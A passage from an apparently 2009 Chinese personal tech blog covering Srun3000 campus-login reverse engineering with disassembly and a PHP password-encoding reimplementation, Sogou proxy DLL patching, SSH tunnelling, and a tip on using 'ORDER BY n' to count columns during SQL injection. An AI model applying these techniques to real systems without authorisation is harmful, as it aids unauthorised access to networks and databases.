脚本关貌似有点问题,目前10关过了7关,几个注入的都是手注的,犯不着用工具;不过某些题貌似有问题。不管了

溢出内核暂时不管,等下周再说。


题目整体还是不错的,只是seer说,题量有点少,更大的问题是05级的谁有时间
好在07的小朋友现在已经很强大了


==============================

居然那道社会工程学的题目,让'sskaje 生日'上了baidu suggestions
叫兽,您真有才

vpn+ssh tunnel玩ipv6

感谢cr同学昨天的一番话,然后感谢lonecat老师的聪明才智

目前校内只有新二、五、六三栋研究生宿舍楼开通了ipv6测试
于是每到有求看的时候,总得为了找在线直播而浪费时间,同时却看着新二五六的人那么舒服

。。。。。

用的是cr327的服务器,寝室的,在新六,有pptp,同时也开了adsl
之前有段时间用他的vpn上外网,毕竟教育网有时候绕墙还是很不方便的

去年曾在 fst的服务器上尝试配ipv6的两种隧道,折腾了好久,还是没配成功

昨天下下午,cr说cat配了mirror之后,更新速度暴增,1M多的速度,根本不可能是adsl的
显然,mirror能走cr的服务器的ipv6出国rsync
但是据说,直接用vpn走rsync不稳定,几分钟就会断
于是cat用ssh的tunnel(大概是这个,cr自己都不清楚),再走rsync,同时写了两个进程守护的,保证只要cr的服务器在线,mirror就能连上去rsync


刚才做了尝试
本地先 pptp连过去,然后开个 PuTTY,配tunnel -D31080
然后sockscap, 远端解析dns
挂个greenbrowser出来
一试,居然能上 iptv.bupt.edu.cn了,
然后 http://video6.sjtu.edu.cn/,显示的ip 2001:da8:204:63:205:5dff:fe88:**** ,跟他的机器 ifconfig的结果一样

只是,目前为止还没有能让wmplayer连过去 XD

Monday, April 27, 2009

Srun3000 客户端分析的补充

先把后来补充的帖子贴上

时间差的校正
[url]http://www.bitunion.org/redirect.php?goto=findpost&ptid=10141437&pid=8570527[/url]


关于 3L的 FFFF57b4 这个数字
刚才咨询过 srun的技术总监
得到的答复是,在第一次使用客户端的时候,会和服务器进行一次额外通信
然后会有个双向误差校正的过程

这个数据存在注册表的 HKEY_CURRENT_USER\Software\srun3000\login 下的 time_diff里


然后来个人帮忙解决那个时间的问题吧

更新:

由于客户端的信息,存放在注册表中
刚才清空了注册表,进行了一次客户端的全过程抓包

1 登陆 密码错误,原因是时间不对,服务器的返回值为 password_error@TIMESTAMP 后边的 TIMESTAMP是服务器的unix timestamp,形如1240749982
2 本地时间纠正 用服务器的时间减去本地的时间,然后算出时间差,用某种形式存放在注册表里,就跟上边的那个诡异数字似的
3 新登陆 (int)(本地时间+时间差)60; 作为key

。。。。。。。

========================我是分割线=======================


基本时间差的算法就这样了
分钟级的校验,应该还是能接受的,就差传输安全了
但是比较不太舒服的是,新的版本,增加了一些东西,暂时没明白什么意思
大概 http 响应的数据包含三部分
(Code in hex)\r\ndata[\r\n[some other stuff]]
code in hex 大概是 1到两个字节的 16进制字符,估计是通信协议里的一些事件编码
最后一个 someother stuff 是在登陆的时候看到的
一开始没仔细看
周日去良乡,小范围讲了下调试这个客户端的一些东西,现场抓包,才看到的

Saturday, April 25, 2009

[搬移]Srun 3000 加密函数key的分析记录

原文在: http://www.bitunion.org/redirect.php?goto=findpost&ptid=10141437&pid=8567446
外网用 cnc.bitunion.org 或 kiss.bitunion.org
直接拿过来,改动一下格式而已

00404411   > \8B2D BC834000 MOV EBP,DWORD PTR DS:[<&MSVCRT.time>]    ;  msvcrt.time
00404417 . 8D5424 28 LEA EDX,DWORD PTR SS:[ESP+28]
0040441B . 52 PUSH EDX ; /timer
0040441C . FFD5 CALL EBP ; \time

0040441E . 8B4C24 2C MOV ECX,DWORD PTR SS:[ESP+2C]
00404422 . 8B56 60 MOV EDX,DWORD PTR DS:[ESI+60]
00404425 . 33C0 XOR EAX,EAX
00404427 . 2BCA SUB ECX,EDX

00404429 . 894424 34 MOV DWORD PTR SS:[ESP+34],EAX
0040442D . 894424 38 MOV DWORD PTR SS:[ESP+38],EAX
00404431 . 894424 3C MOV DWORD PTR SS:[ESP+3C],EAX
00404435 . 66:894424 40 MOV WORD PTR SS:[ESP+40],AX
0040443A . B8 89888888 MOV EAX,88888889
0040443F . F7E1 MUL ECX
00404441 . C1EA 05 SHR EDX,5
00404444 . 52 PUSH EDX ; /<%u> = 13B873A (20678458.)
00404445 . 8D5424 38 LEA EDX,DWORD PTR SS:[ESP+38] ; |
00404449 . 68 F8B34000 PUSH srun3000.0040B3F8 ; |%u
0040444E . 52 PUSH EDX ; |s
0040444F . FF15 E0834000 CALL DWORD PTR DS:[<&MSVCRT.sprintf>] ; \sprintf



到 0040441C 这行,是实现对 time()函数的调用
返回的值在 EAX存放的是 timestamp,如 49F30B07 十进制表示的 1240664839
EDX的数据是清空了的
ECX的数据是堆栈中这个时间戳的地址,调试的时候,返回的是 00cdfa00,在堆栈段里,

00CDFA00   49F30B07


后边的算法
0040441E . 8B4C24 2C MOV ECX,DWORD PTR SS:[ESP+2C]
这行是把刚才那个堆栈里那个数据复制到ecx里
于是这个操作之后,eax和ecx都是刚才time()返回的timestamp了

DWORD PTR DS:[ESI+60] 是一个 FFFF57b4的数
下边清空 eax
然后 sub ecx, edx
结果 ecx的数据成了 49F3B353
只有后4位进行了减法运算

00404429   .  894424 34     MOV DWORD PTR SS:[ESP+34],EAX
0040442D . 894424 38 MOV DWORD PTR SS:[ESP+38],EAX
00404431 . 894424 3C MOV DWORD PTR SS:[ESP+3C],EAX
00404435 . 66:894424 40 MOV WORD PTR SS:[ESP+40],AX


清空了14字节的堆栈数据
因为之前xor eax, eax清空了eax

然后
0040443A   .  B8 89888888   MOV EAX,88888889
0040443F . F7E1 MUL ECX
00404441 . C1EA 05 SHR EDX,5


一个复制,一个乘法,一个乘法结果高位右移

再最后就把这个数字 sprintf成一个字符串 %u

我就无语了

完全不懂

然后

改动代码,生成的时间串:

 <?php 
$key = strval((time() + 43084)/60);
echo $key;


这个 43084 是刚才那个诡异减法的结果和原始数据的差,其实也就是
0x49F3B353 - 0x49F30B07

于是,这个key就对了

不懂为啥

两边比对了下,OD里的结果和php的输出一样

很好

Srun3000 客户端协议分析

Srun3000的新版终于上线了,之前的内测报了好几个安全漏洞,于是给了一份安全检测报告。结果现在自己想拿都很麻烦了,至少目前还没拿下 XD

然后,说客户端。
目前这个版本的客户端,感觉和上次内测的区别不大,不过至少我提出注册表数据加密之后,srun那边还是做了些工作,虽然那块儿今天没去调。
整体协议还是基于http的,因为还是没有keepalive的设计,所以最关键的就只是登陆的部分。也就是说,登陆的POST串的内容和结构才是我这次最关注的。

直接从客户端的exe文件里就可以提取出这样的字串
username=%s&password=%s&drop=%d&type=2&n=%d&mac=%s
显然,用户名,密码,drop,type=2,n,mac
drop是是否只访问免费资源;type=2是写死的,应该就是表示windows客户端吧,linux的我没看,无所谓;n=7,跟出来的,上个版本是2吧,不记得了,不清楚到底有什么用;mac就不用说了

客户端没有加壳,直接OllyDBG载入
根据字串资源信息,很快地定位到了输入的函数,同时也找到了密码加密函数的入口

我手头这个版本 57,344 字节,加密函数的入口 在 0x00401350。
有许多地方调用了,但是这个不是我关注的,我只需要知道这个算法的内容。

根据push的规则,还原成C的代码,函数声明格式应该是类似
void encrypt(void* pwd_in, void* key,  void* pwd_out);
返回值我不管了,因为没去那边往下跟,无所谓。
中间的几个 void* 具体应该是 unsigned char* 或者 char*,依旧无所谓。

pwd_in 就是密码输入框的内容
key的部分是通过当前系统时间算出来的

关于key的分析可以见我在联盟的帖子
http://www.bitunion.org/redirect.php?goto=findpost&ptid=10141437&pid=8567446
或者
http://kiss.bitunion.org/redirect.php?goto=findpost&ptid=10141437&pid=8567446

稍后考虑也贴过来

算法的部分很简单
两个字符串,一个password,一个key
设password 为 12345678
key为 20678439

逆序循环取key的字符,也就是 9,3,4,8,7,6,0,2,9,3,...
分别与password 的 [0], [1], [2] ... 直到password结束 进行异或运算
对于结果,一个字符

[0],[2],....[2n]的字符,译码之后:(低4位 加上 0x36 )连上 (高4位 加上 0x63)
[1],[3],....[2n+1]的字符,译码之后:(高4位 加上 0x63)连上 (低4位 加上 0x36 )

然后连接之后的结果就是提交的密码的密文
当然,提交的时候,得 实现 urlencode或类似的函数处理这段数据

代码很乱,无所谓了
能改描述清楚问题,并且实现功能就行

Sample Code in PHP:
<?php
$password = '123456';
echo encrypt($password);

function encrypt($password)
{
 $key = strval(floor((time() + 43084)/60));
 return _encrypt($password, $key);
}

function _encrypt($pass, $key)
{
 $pass = substr($pass, 0, 16);
 $len = strlen($pass);
 $ret = '';
 for ($i=0; $i<$len; $i++)
 {
  $_pass = ord($pass[$i]);

  $_key  = _get_keychar($key, $i);

  $_key  = $_key ^ $_pass;
  $ret .= _build_key($_key, $i%2);
 }
 return $ret;
}

function _get_keychar($str_in, $num)
{
 $len = strlen($str_in);
 return ord($str_in[ $len - $num % $len - 1 ]);
}

function _build_key($num, $reverse=0)
{
 $ret = '';
 
 $_low = $num & 0x0f;
 
 $_high = $num >> 4;
 $_high = $_high & 0x0f;
 
 if (!$reverse)
 {
  $ret .= chr($_low  + 0x36);
  $ret .= chr($_high + 0x63);
 }
 else
 {
  $ret .= chr($_high + 0x63);
  $ret .= chr($_low  + 0x36);
 }
 return $ret;
}

Thursday, April 23, 2009

Wine SogouExplorer as a Proxy Server

上一篇相关文章:http://blog.sskaje.name/2009/03/sogou.html
部分细节请翻阅此文


前些天把Ubuntu升级到了 9.04 beta,然后时不时去更新一下
之前企鹅也提出了,能不能在Ubuntu下wine一个sogou explorer来开代理
因为最早的方式是虚拟机和宿主机,用ssh tunnel的方式开代理
后来直接修改了sogounet.dll,把监听地址改成了0.0.0.0,直接对外开放服务

wubi装的ubuntu,直接把分区挂载了,进到sogou explorer的目录
wine配好
直接 ./SogouExplorer.exe 全是乱码
根据印象,把选项选了,然后打开,还是乱码

之前wine baidu hi的时候,配了riched32,当时换成中文环境,就可以正常显示了
结果现在,怎么弄都不成
索性就不考虑字体显示的问题了

直接 ./SogouExplorer.exe -proxy
sskaje@ubuntu:/media/App/Program Files/SogouExplorer$ ./SogouExplorer.exe  -proxy
fixme:mountmgr:harddisk_ioctl unsupported ioctl 74080
fixme:mountmgr:harddisk_ioctl unsupported ioctl 2d1400
fixme:mountmgr:harddisk_ioctl unsupported ioctl 2d0c10
fixme:mountmgr:harddisk_ioctl unsupported ioctl 74080
fixme:mountmgr:harddisk_ioctl unsupported ioctl 2d1400
fixme:mountmgr:harddisk_ioctl unsupported ioctl 2d0c10
PID:21
PORT:8081
CPORT:8082
PAC:http://127.0.0.1:8082/proxy.pac?t=71505
RET:SUCCESS
到这里就挂起了
而且还弹出了一个代理配置错误的msg box,跟之前在windows下一样

sudo netstat -anop | more
看了看,8081端口开了
tcp        0      0 0.0.0.0:8081            0.0.0.0:*               LISTEN      8445/wineserver  关闭 (0.00/0/0)
tcp 0 0 0.0.0.0:8082 0.0.0.0:* LISTEN 8445/wineserver 关闭 (0.00/0/0)

新开一个shell,直接测试
export http_proxy=http://localhost:8081
wget http://www.hackthissite.org/ -O /tmp/1.txt

果然,下载成功

wine下的 regedit 看了看那两个accelerator的选项,都为0
估摸着,这两个选项其实只是对标准的使用方式才有效吧

Wednesday, April 22, 2009

MySQL Show table status 显示行数不准

发现MySQL Administrator的库信息里,表的行数每次刷新都不一样
表是之前从某网站导出来的用户资料,InnoDB的
怀疑与engine有关,于是
ALTER TABLE `****` ENGINE=MyISAM;
果然,这回用
SHOW TABLE STATUS;
的显示正确了

然后去MySQL手册上寻求解释,发现了
12.5.5.34. SHOW TABLE STATUS Syntax
Rows 

The number of rows. Some storage engines, such as MyISAM, store the exact count. For other storage engines, such as InnoDB, this value is an approximation, and may vary from the actual value by as much as 40 to 50%. In such cases, use SELECT COUNT(*) to obtain an accurate count. 

The Rows value is NULL for tables in the INFORMATION_SCHEMA database. 

Monday, April 20, 2009

Sun acquired by Oracle...

MySQL was once MySQL AB.'s, then Sun's, and now Oracle's. While, InnoDB, one of the most commonly used storage engine in MySQL, was also acquired by Oracle years ago.
Wherez the future of MySQL ?

配置Apache Mod Proxy 实现密码认证的简单http代理

之前在某个机器上,关了日志,然后配了mod_proxy,以便自己进内网
但是,随着热心共享的人越来越多,这个80端口的代理成了一个公开的秘密
于是
现在要做的是,加密码
某些人别怪我不厚道
<IfModule mod_proxy.c>

<Proxy *>
Order deny,allow
Allow from all
AuthType basic
AuthName "private area"
AuthUserFile G:/.htpasswd
Require valid-user
</Proxy>
ProxyVia Block
</IfModule>


比较方便的是,htpasswd生成的密码不需要apache重启

不错,不错

Saturday, April 18, 2009

Configure SQL Developer with MySQL and MSSQL support

tanglewish给了一个页面,oracle的数据源文件,看到了某个站的oracle数据库连接串,于是很想连上去看看
但是手头没有任何可用的客户端

突然尝试用php的oci扩展,结果怎么启用都无法加载
分析估计是因为缺少instant client的原因

索性从Oracle官方下载了sql developer,毕竟是官方出品的东西
但是怎么测试都不行
那个ip的1521端口没开,估计有可能是被挡了
而同一个段的有两台机器开了但是连不上
于是放弃了

就当多了一个数据库管理软件

突然想起来,某台服务器的数据库连接串我还存着
mssql的

从http://jtds.sourceforge.net/下了一个jtds,然后把jar文件扔到sql developer 的lib目录,给配好了
拿着mssql的连接串,建了连接,测试
果然很方便

然后,http://mirror.bitunion.org/mysql/downloads/connector/j/5.1.html 下了个mysql的jdbc connector,也给配好了

Wednesday, April 15, 2009

Rest in peace ...

rt

Saturday, April 11, 2009

于是可以 /quit 了

不再怀疑当初的选择
不再后悔那时的消沉
不再笑话曾经的幼稚
。。。

…………

浑浑噩噩地过了两年半
一直在逃避
。。。
逃避了许久
终于可以真正地 /quit 了

Type /quit in the command box, say good bye to the past...

…………

/quit
然后就必须自己面对了
一切都是为了自己

/quit
然后就必须自己努力了
一切都是为了未来


/quit
不再无谓地权衡得与失
不再...

没有任何理由
没有任何借口

…………

几天后
也许,一个新的身份,又会让自己迷失
还好,再也不会消沉
一个全新的自己
自己的自己

…………

Maybe /quit, maybe /kick + /ban -ed
Anyway, i'll be no longer available in that channel.

…………

我老了

…………

/me quits.

Wednesday, April 8, 2009

开始匿了

一堆事情,明天争取搞定
然后
匿了
开始补考。。。。

为了自己

Sunday, April 5, 2009

应付gfw做的。。。。

只能这样了
天天改记录啊天天改记录


Monday, March 30, 2009

于是今天把Srun第三个版本拿下来了

第三个测试版了吧

线上的那个都快4个月了
最近的两个测试版都拿下了

不算轻松,也不算复杂

只怪代码写得太差,太差

php5.3 rc2-beta居然把_GET扔进argc/argv里...

居然。。。
这个版本的argc/argv包括了 GPC变量。。。。
太诡异了
之前的那个版本的dev版还是没有的,结果刚才把5.3的环境一更新,却发现自己的cli模式判断无效了



访问
http://localhost/test/argc.php?1=2&12=3

php5.2.9下 结果为 0
php5.3.0RC2-dev 结果 为 1

尝试用 POST表单和手工加入的cookies提交,结果数据还是1
只有$_GET 才被算进去了
不懂为啥了


php5.3的这个dev的信息:
Build Date Mar 29 2009 12:47:23
Zend Extension Build API220090115,TS,VC9
PHP Extension Build API20090115,TS,VC9

Sunday, March 29, 2009

【经验】Sogou 浏览器代理相关技巧整理

原创首发于 http://www.bitunion.org/thread-10132052-1-1.html


1 关于代理服务器
曾经尝试过跟sogou浏览器,但是后来放弃了
最开始也云把里边的pac脚本拿出来了(pac: proxy auto config 上网查查吧,用过ipcn.org的那个在线代理的肯定知道)
但是经测试,无效
于是也就没有继续尝试了
PAC脚本内容,来自 sogou浏览器根目录的 sogounet.dll


function FindProxyForURL(url, host){if(isPlainHostName(host)) return "DIRECT";if(!shExpMatch(url, "http*")) return "DIRECT";var ip = dnsResolve(host);// ipv6if(shExpMatch(ip, "*:*")) return "DIRECT"; // localif(isInNet(ip,"192.168.0.0","255.255.0.0")) return "DIRECT";else if(isInNet(ip,"10.0.0.0","255.0.0.0")) return "DIRECT";else if(isInNet(ip,"172.16.0.0","255.255.0.0")) return "DIRECT";else if(isInNet(ip,"169.254.0.0","255.255.0.0")) return "DIRECT";else if(isInNet(ip,"127.0.0.0","255.0.0.0")) return "DIRECT";// cernetelse if(isInNet(ip,"58.154.0.0","255.254.0.0")) return "DIRECT";else if(isInNet(ip,"58.192.0.0","255.240.0.0")) return "DIRECT";else if(isInNet(ip,"59.64.0.0","255.240.0.0")) return "DIRECT";else if(isInNet(ip,"113.54.0.0","255.254.0.0")) return "DIRECT";else if(isInNet(ip,"114.212.0.0","255.254.0.0")) return "DIRECT";else if(isInNet(ip,"114.214.0.0","255.255.0.0")) return "DIRECT";else if(isInNet(ip,"115.24.0.0","255.252.0.0")) return "DIRECT";else if(isInNet(ip,"115.154.0.0","255.254.0.0")) return "DIRECT";else if(isInNet(ip,"115.156.0.0","255.254.0.0")) return "DIRECT";else if(isInNet(ip,"115.158.0.0","255.255.0.0")) return "DIRECT";else if(isInNet(ip,"116.13.0.0","255.255.0.0")) return "DIRECT";else if(isInNet(ip,"116.56.0.0","255.254.0.0")) return "DIRECT";else if(isInNet(ip,"118.202.0.0","255.254.0.0")) return "DIRECT";else if(isInNet(ip,"118.228.0.0","255.254.0.0")) return "DIRECT";else if(isInNet(ip,"118.230.0.0","255.255.0.0")) return "DIRECT";else if(isInNet(ip,"120.94.0.0","255.254.0.0")) return "DIRECT";else if(isInNet(ip,"121.48.0.0","255.254.0.0")) return "DIRECT";else if(isInNet(ip,"121.52.160.0","255.255.224.0")) return "DIRECT";else if(isInNet(ip,"121.192.0.0","255.252.0.0")) return "DIRECT";else if(isInNet(ip,"121.248.0.0","255.252.0.0")) return "DIRECT";else if(isInNet(ip,"122.204.0.0","255.252.0.0")) return "DIRECT";else if(isInNet(ip,"125.216.0.0","255.248.0.0")) return "DIRECT";else if(isInNet(ip,"162.105.0.0","255.255.0.0")) return "DIRECT";else if(isInNet(ip,"166.111.0.0","255.255.0.0")) return "DIRECT";else if(isInNet(ip,"202.4.128.0","255.255.224.0")) return "DIRECT";else if(isInNet(ip,"202.38.64.0","255.255.192.0")) return "DIRECT";else if(isInNet(ip,"202.38.140.0","255.255.254.0")) return "DIRECT";else if(isInNet(ip,"202.38.184.0","255.255.248.0")) return "DIRECT";else if(isInNet(ip,"202.38.192.0","255.255.192.0")) return "DIRECT";else if(isInNet(ip,"202.112.0.0","255.248.0.0")) return "DIRECT";else if(isInNet(ip,"202.120.0.0","255.254.0.0")) return "DIRECT";else if(isInNet(ip,"202.127.216.0","255.255.248.0")) return "DIRECT";else if(isInNet(ip,"202.127.224.0","255.255.224.0")) return "DIRECT";else if(isInNet(ip,"202.179.240.0","255.255.240.0")) return "DIRECT";else if(isInNet(ip,"202.192.0.0","255.240.0.0")) return "DIRECT";else if(isInNet(ip,"203.91.120.0","255.255.248.0")) return "DIRECT";else if(isInNet(ip,"210.25.0.0","255.255.128.0")) return "DIRECT";else if(isInNet(ip,"210.25.128.0","255.255.192.0")) return "DIRECT";else if(isInNet(ip,"210.26.0.0","255.254.0.0")) return "DIRECT";else if(isInNet(ip,"210.28.0.0","255.252.0.0")) return "DIRECT";else if(isInNet(ip,"210.32.0.0","255.240.0.0")) return "DIRECT";else if(isInNet(ip,"211.64.0.0","255.248.0.0")) return "DIRECT";else if(isInNet(ip,"211.80.0.0","255.248.0.0")) return "DIRECT";else if(isInNet(ip,"218.192.0.0","255.248.0.0")) return "DIRECT";else if(isInNet(ip,"219.216.0.0","255.248.0.0")) return "DIRECT";else if(isInNet(ip,"219.224.0.0","255.248.0.0")) return "DIRECT";else if(isInNet(ip,"219.242.0.0","255.254.0.0")) return "DIRECT";else if(isInNet(ip,"219.244.0.0","255.252.0.0")) return "DIRECT";else if(isInNet(ip,"222.16.0.0","255.240.0.0")) return "DIRECT";else if(isInNet(ip,"222.192.0.0","255.240.0.0")) return "DIRECT";else return "PROXY " + host + ".local.acc.sogou.com:80; ";}


2 关于教育网限制

如果安装后的配置过程不选择启用那个代理功能,后来就没法再启用了
但是,注册表里
[code]HKEY_CURRENT_USER\Software\SogouExplorer\Accelerater[/code]
下边有两个值
VideoAccelerater
WebAccelerater
如果你的教育网加速功能不好使,那就把这个都设置成1

但是

sogou的ip检测有问题,尤其是学校这样的多出口的状态下,有时候会把代理加速功能给关掉


不过企鹅告诉了一个代理的使用方法:
命令行下,调用 SogouExplorer.exe -proxy 就会在本地开放一个端口,http代理,直接设置就行了

后来写bat,但是bat必须用 call 来调用,而不能直接开
内容如
reg add HKCU\Software\SogouExplorer\Accelerater /v VideoAccelerater /t REG_DWORD /d 1 /freg add HKCU\Software\SogouExplorer\Accelerater /v WebAccelerater /t REG_DWORD /d 1 /fcall "f:\Program Files\SogouExplorer\SogouExplorer.exe" -proxy

但是这个代理只是监听 127.0.0.1的8081端口,有时候会觉得很不方便

尝试着把监听的ip 127.0.0.1 改成 0.0.0.0,但是一直没有定位成功,于是放弃了


3 关于代理端口转发/共享
这是给*nix说的,或者说是有sshd的机器说的
因为昨天更新freebsd的虚拟机,结果嫌某个代理不好使,于是便想到了sogou的代理
但是这个只监听 127.0.0.1 的端口,怎么办?

SSH TUNNEL!

ssh -R 8080:127.0.0.1:8081 -l sskaje 192.168.181.130
连上去之后,ssh的那台服务器会开一个8080端口,所有发往这个端口的数据都会转发到本地的8081上
这样的话,
export http_proxy=http://localhost:8080cvsup -g -L 2 /etc/ports-supfile
于是就可以更新了


但是这个代理不是特别稳定,那没辙了



================ 更新 ==========================

4 关于sogou 浏览器 -proxy代理的监听IP的修改

之前想错了,居然忘记了代理不是在主程序里
于是刚才跟了下那个sogounet.dll
发现了几个127.0.0.1
都是push的
送进去的是同一个内存地址
hmm
修改
改成了 0.0.0.0

我的sogounet.dll版本是 1.0.1.105
数据的16进制 offset是 0x0007F9A4
注意
修改之后务必把后边的几位置成 0x00


==================================
UPDATE: Apr 15, 2009
临时扔到服务器上了,想测试一下修改后的sogounet.dll能扛多少连接
但是怕有BOF,于是 runas


reg add HKCU\Software\SogouExplorer\Accelerater /v VideoAccelerater /t REG_DWORD /d 1 /f
reg add HKCU\Software\SogouExplorer\Accelerater /v WebAccelerater /t REG_DWORD /d 1 /f
runas /user:services "E:\Progra~1\SogouExplorer\SogouExplorer.exe -proxy"
pause

加用户

但是,会报错
不影响使用

下雪了

下雪了,好冷
中午出门,跟qu吃了饭,赶紧去实验室取了飞盘,去西操玩
两个小时
冷风,吹着小雪
。。。。。

Friday, March 27, 2009

Windows下

重装系统后,得重装MySQL为服务,instant configuration不太好使,于是命令行下
"PATH\TO\MySQL Server *.*\bin\mysqld.exe" --install MySQL "F:\Server\MySQL\MySQL Server 5.1\my.ini"
结果,MySQL Administrator 的本地配置管理功能没法使了

直接修改注册表
HKLM\SYSTEM\CurrentControlSet\Services\MySQL
ImagePath
之前是
"F:\Server\MySQL\MySQL Server 5.1\bin\mysqld" "--defaults-file=F:\Server\MySQL\MySQL Server 5.1\my.ini" MySQL
改为
"F:\Server\MySQL\MySQL Server 5.1\bin\mysqld" --defaults-file="F:\Server\MySQL\MySQL Server 5.1\my.ini" MySQL

Thursday, March 26, 2009

六级居然过了

填表,“懂何种外语,程度如何”
上次在实验室的抽屉里找到了自己的六级准考证,过去查了查
本不抱太大希望
居然
您的成绩总分:462听力:165阅读:174综合:59写作:64

太假了太假了

Wednesday, March 25, 2009

要疯了

做坏事,于是要写检查

然后昨天玩飞盘,新的,却发现很难掌控

一堆事情,堆着,越来越多

Tuesday, March 24, 2009

致所有的WAMP-ers

I apologize, sincerely
所有的WAMP-ers:

1 如果你不确定代码足够安全,千万不要留phpinfo的页面,或者你真的要留,也别用 info.php, phpinfo.php, test.php, 1.php, i.php ...

2 如果你PHP经验不足,那就强制转换所有的变量,或者,在入库前用 mysql/mysqli 等库自带的 real_string_escape 或者类似的函数,转义一下提交数据。

3 如果你的代码没有管理mysql全库的需求,例如管理用户之类的,那就用个单库权限的用户吧,千万不要给FILE权限。

4 如果你的Apache不需要用来管理系统,千万不要让它跑在默认的System权限下,建一个用户、改一改执行权限,没什么难的。

5 不管怎样,phpMyAdmin之类的东西,别放在那种常见的文件夹下

6 不管怎样,列目录的权限都得关掉,除非你确认能列的目录下没有敏感文件;或者你放个默认的空的index页都行

7 线上环境,不要开错误提示,或者至少说,错误提示不要能爆出脚本的物理路径。

8 明确地说,以eval、exec等为关键词查找php shell,是没用的

9 。。。。待续

然后我的开发环境是不安全的,只要你能找到我放的shell

最后
I apologize, sincerely

Friday, March 20, 2009

IE8....

您的IP:10.2.68.128
来自:新1#学生公寓10~13层西南侧
操作系统:Windows XP
浏览器:Internet Explorer 8.0

User agent:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Thursday, March 19, 2009

十年弹指一挥间

十年弹指一挥间。。。。。锦绣十年。。。

于是我老了

于是我真的很闲

原来mysql可以这样。。。。

SELECT * FROM `tblname` ORDER BY 15;
mysql的字段不允许以数字开头的名字,却可以用这样的查询
而这个order by的数字,正是列数
于是猜字段数可以半折法了。。。

Wednesday, March 18, 2009

I Love M$ Windows

C:\Documents and Settings\Administrator>ipconfig

Windows IP Configuration

An internal error occurred: 文件名太长。

Please contact Microsoft Product Support Services for further help.

Additional information: Unable to query host name.

C:\Documents and Settings\Administrator>ipconfig

Windows IP Configuration

An internal error occurred: 连到系统上的设备没有发挥作用。

Please contact Microsoft Product Support Services for further help.

Additional information: Unknown media status code.

C:\Documents and Settings\Administrator>

Tuesday, March 17, 2009

0和1的差距。。。

看了下google analytics的统计
月增长率 8,416.67%
所谓 0和1的差距。。。。

Monday, March 16, 2009

夏天了。。。

换上了夏装,却在昨晚。。。被蚊子咬了

Thursday, March 12, 2009

郁闷

有吃的,却上火舌头疼...

A PHP Class for Srun3000

本来打算写个完整的客户端的,但是却一直没有想好cli下怎么跟php的进程进行通信

于是写好了一个php的类,简单地封装了 登陆、注销、保持连接、查询信息 的操作

/**
* Srun3000客户端类
*
* @author sskaje sskaje@gmail.com
* @version 1.0.0
* @todo 提供一个通信的机制
*/
class sscSrun3000forBIT
{
private $username;
private $password;
private $mode = 1;
private $client_type = 1;
private $n = 1;

private $url_login = 'http://10.0.0.55/cgi-bin/do_login';
private $url_logout = 'http://10.0.0.55/cgi-bin/do_logout';
private $url_keepalive = 'http://10.0.0.55/cgi-bin/keeplive';

private $modes = array(0=>'国际模式', 1=>'国内模式');
private $client_types = array(1=>'WEB 模式', 2=>'客户端模式');

private $user_agent = '';

private $uid = 0;

public $debug = 0;
/**
* cookie文件存放路径
*
* @var string
*/
private $cookie_file = 'cookie.txt';
/**
* cURL 资源
*
* @var cURL
*/
private $ch;
/**
* 构造函数,默认参数构造
*
* @param string $username 用户名
* @param string $password 密码
* @param int $mode 登陆模式,1->国内,0->国际
* @param int $client_type 客户端模式,1->Web,2->客户端
*/
public function __construct($username, $password, $mode=1, $client_type=1)
{
$this->username = $username;
$this->password = $password;
$this->change_mode($mode);
$this->set_client_type($client_type);
}
/**
* 设置客户端模式
*
* @param int $client_type 客户端模式,1->Web,2->客户端
*/
public function set_client_type($client_type)
{
if ($client_type == 1)
{
$this->client_type = $client_type;
$this->n = 1;
$this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GreenBrowser)';
}
else if ($client_type == 2)
{
$this->client_type = $client_type;
$this->n = 3;
$this->user_agent = 'my session';
}
else
{
throw new Exception('Bad client type');
}
}
/**
* 设置登陆模式
*
* @param int $mode 登陆模式,1->国内,0->国际
*/
public function change_mode($mode)
{
if ($mode != 1 && $mode != 0)
{
throw new Exception('Bad login mode');
}
else if ($mode == 0)
{
echo "将以国际模式登陆\n";
}
else
{
echo "将以国内模式登陆\n";
}
$this->mode = $mode;
}
/**
* 设置cookie文件路径
*
* @param string $cookie_file
*/
public function set_cookie_fileloc($cookie_file)
{
$this->cookie_file = $cookie_file;
}
/**
* 初始化资源
*
*/
public function init()
{
$this->ch = curl_init();
curl_setopt($this->ch, CURLOPT_VERBOSE, 0);
curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($this->ch, CURLOPT_COOKIEJAR, $this->cookie_file);

if ($this->client_type == 2)
{
curl_setopt($this->ch, CURLOPT_USERAGENT, 'my session');
curl_setopt($this->ch, CURLOPT_PORT, 3333);
}
else
{
curl_setopt($this->ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GreenBrowser) ');
}
}
/**
* 登陆
*
*/
public function login()
{
if ($this->client_type == 2)
{
$password = $this->passencode($this->password);
}
else
{
$password = $this->password;
}

$login_str =
'username=' . urlencode($this->username) .
'&password=' . urlencode($password) .
'&drop=' . $this->mode .
'&type=' . $this->client_type .
'&n=' . $this->n;

$this->debug('Login: ' . $login_str);

curl_setopt($this->ch, CURLOPT_URL, $this->url_login);
curl_setopt($this->ch, CURLOPT_REFERER, $this->url_login);
curl_setopt($this->ch, CURLOPT_POST, 1);
curl_setopt($this->ch, CURLOPT_POSTFIELDS, $login_str);
$out = curl_exec($this->ch);

$this->debug('Login response: ' . $out);

curl_setopt($this->ch, CURLOPT_COOKIE, $this->username.'%7C'.$this->password);

if (preg_match('#^\d+$#', $out))
{
$this->uid = $out;
return;
}
$this->login_error($out);
}
/**
* 注销
*
*/
public function logout()
{
curl_setopt($this->ch, CURLOPT_URL, $this->url_logout);
curl_setopt($this->ch, CURLOPT_POST, 1);
$logout_str = 'uid='.$this->uid;

$this->debug('Logout query: '.$logout_str);

curl_setopt($this->ch, CURLOPT_POSTFIELDS, $logout_str);
$out = curl_exec($this->ch);

$this->debug('Logout: ' . $out);

if ($out == 'logout_ok')
{
echo 'Successfully logout.';
}
else
{
echo 'Failed to log u out';
}
}
/**
* 保持连接
*
* @return string
*/
public function keepalive()
{
